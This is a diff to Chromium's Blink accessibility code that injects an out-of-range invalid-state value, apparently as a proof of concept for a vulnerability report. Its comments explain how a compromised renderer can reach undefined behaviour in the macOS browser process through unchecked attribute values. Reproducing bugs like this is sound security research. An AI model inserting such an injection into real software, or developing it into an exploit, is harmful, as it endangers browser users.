diff --git a/third_party/blink/renderer/modules/accessibility/ax_object.cc b/third_party/blink/renderer/modules/accessibility/ax_object.cc
index f8c30f11ed117..35a0a0f11318f 100644
--- a/third_party/blink/renderer/modules/accessibility/ax_object.cc
+++ b/third_party/blink/renderer/modules/accessibility/ax_object.cc
@@ -1909,6 +1909,30 @@ void AXObject::SerializeOtherScreenReaderAttributes(
   if (GetInvalidState() != ax::mojom::blink::InvalidState::kNone)
     node_data->SetInvalidState(GetInvalidState());
 
+  // === POC INJECTION: simulate compromised renderer ===
+  // A compromised renderer is not bound by the C++ enum mapping above; it can
+  // place any int32 in the kInvalidState slot of AXNodeData::int_attributes
+  // before the tree update is sent over Mojo to the browser process. The Mojo
+  // StructTraits<AXNodeData> reader (ax_node_data_mojom_traits.cc) only
+  // validates the IntAttribute *key*, not the value, so this reaches the
+  // browser-process AXNodeData verbatim.
+  //
+  // On macOS, when an AT client queries @"AXInvalid" on a control-role node,
+  // -[AXPlatformNodeCocoa AXInvalid] switches on this value with no default
+  // arm and no trailing return/NOTREACHED(), causing fall-off-end-of-non-void
+  // UB in the unsandboxed browser process.
+  if (ui::IsControl(node_data->role)) {
+    if (node_data->HasIntAttribute(
+            ax::mojom::blink::IntAttribute::kInvalidState)) {
+      node_data->RemoveIntAttribute(
+          ax::mojom::blink::IntAttribute::kInvalidState);
+    }
+    // 0x41414141 is outside {0,1,2}. Any value >= 3 (or < 0) reproduces.
+    node_data->AddIntAttribute(ax::mojom::blink::IntAttribute::kInvalidState,
+                               0x41414141);
+  }
+  // === END POC INJECTION ===
+
   if (node_data->role == ax::mojom::blink::Role::kListMarker) {
     SerializeListMarkerAttributes(node_data);
   }